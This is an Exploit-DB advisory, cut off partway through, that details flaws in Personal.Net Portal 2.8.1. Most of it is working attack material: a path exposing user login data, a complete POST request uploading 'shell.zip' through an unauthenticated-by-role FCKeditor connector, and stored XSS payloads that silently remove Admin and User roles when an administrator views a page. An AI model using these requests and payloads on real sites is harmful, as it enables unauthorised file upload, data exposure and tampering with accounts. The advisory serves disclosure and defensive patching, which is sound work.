Exploit-DB #15067
Description: Personal.Net Portal - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-09-21
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''


Abysssec Inc Public Advisory
 
 
  Title            :  Personal.Net Portal Multiple Vulnerabilities
  Affected Version :  Personal.Net Portal Version 2.8.1
  Discovery        :  www.Abysssec.com
  Vendor	   :  http://www.dotnet-portal.net/Home.tab.aspx
  Download Links   :  http://sourceforge.net/projects/dotnetportal/
  Dork		   :  "Personal .NET Portal"		        
  
 
Description :
===========================================================================================      
  This version of Personal.Net Portal(2.8.1) have Multiple Valnerabilities : 
        1- User's Information Revelation
        2- Upload a file with normal user that have low privilage
	3- Persistent XSS for DDOS and remove Roles and ... (XSRF)


User's Information Revelation:
===========================================================================================     

  With this path you can find User's Information of site:

	http://Example.com/Data/Statistics/Logins.xml
  
  this Information includes:      
        UserId
        LoginCount
        LastLogin
        LoginName  ( for Example Admin )
        FirstName
        LastName



Upload a file with normal user that have low privilage:
===========================================================================================     
   After you logged in as a normal user (for example userName:user and Password:user),
   in the following path you can upload a specific file 
   with POST Method which is containing user's cookie.

   http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/
   
   For example this POST request:

	POST http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
	Host: Example.com
	User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-us,en;q=0.5
	Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
	Keep-Alive: 300
	Proxy-Connection: keep-alive	
	Referer: http://Example.com/FCKeditor/editor/filemanager/browser/default/frmupload.html
	Cookie: ASP.NET_SessionId=wonb3e55eqgbrpnqdhcqly55; dotnetportal.auth=CE8C1A54B9676CDB4F911C820B4F59C50C75F6684E839578C59D289707A340E9EA444119E44E2B[PII_REDACTED]5900C6FD3E0C94463E4C0ECEB929872CF2505FC
	Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]29877
	Content-Length: 500		


	----------------------------[PII_REDACTED]29877
	Content-Disposition: form-data; name="NewFile"; filename="shell.zip"
	Content-Type: application/octet-stream

	... any thing
	----------------------------[PII_REDACTED]29877--
   

   Here we have limitation of uploading specific file extension implementing by FckEditor v2
   that bypassing this barrier is on you. 

   Uploaded files will be placing in this path:

        http://Example.com/Data/Resources/file/
        
   
   Vulnerable Code:
        The misconfiguration is in ...\FCKeditor\editor\filemanager\connectors\aspx\config.ascx  
        ln 42:
              private bool CheckAuthentication()
	      {	
          	return Page.User.Identity.IsAuthenticated;
	      }


Persistent XSS and XSRF:
===========================================================================================     

  In these Modules you can find Persistent XSS that data saves with no sanitization:

  1- Module name: CSVTable 
     Field      : text

     Vulnerable Code:
     ...\Modules\CSVTable\editcsvtable.ascx
     ln 39:   sw.Write(txt.Text);

     For Example you can enter this script for DDOS:
       <script>__doPostBack('ctl071$Linkbutton21','')</script>
     ---------------------------------------------------------------------------------------	

  2- Module name: Feedback
     Fields     : From , Title , Message

     Vulnerable Code:
     ...\Modules\Feedback\feedback.ascx
     ln 55,56,57:   r["From"] = txtFrom.Text;
	            r["Title"] = txtTitle.Text;
	            r["Message"] = txtMessage.Text;
     ---------------------------------------------------------------------------------------	

  3- Module name: Html
     Field      : text

     Vulnerable Code:
     ...\Modules\Html\edithtml.ascx
     ln 39:   w.Write(txt.Text);
     ---------------------------------------------------------------------------------------	

  4- Module name: MyUser
     Fields     : First name , Sur name

     Vulnerable Code:
     ...\Modules\MyUser\MyUser.ascx.cs
     ln 55:    UserManagement.SaveUser(
               Page.User.Identity.Name,
               pwd, txtFirstName.Text, txtSurName.Text, txtEMail.Text,
               new System.Collections.ArrayList(principal.Roles), principal.Id);


     For Example you can enter this script for remove Admin Role: 
        <script>__doPostBack('Content$ctl14$gridRoles$ctl02$ctl00','')</script>  

     or this for remove User Role:
        <script>__doPostBack('Content$ctl14$gridRoles$ctl03$ctl00','')</script>
   
     and when Admin see this page:
        http://Example.com/default.aspx?TabRef=adminusers

     the Role will be removed and program will be DDOS.

     ---------------------------------------------------------------------------------------	

   5- Module name: News
      Field      : text

     Vulnerable Code:
     ...\Modules\News\editnews.ascx
     ln 70:    dr["Text"] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[4].Controls[1]).Text;
     ---------------------------------------------------------------------------------------	

   6- Module nam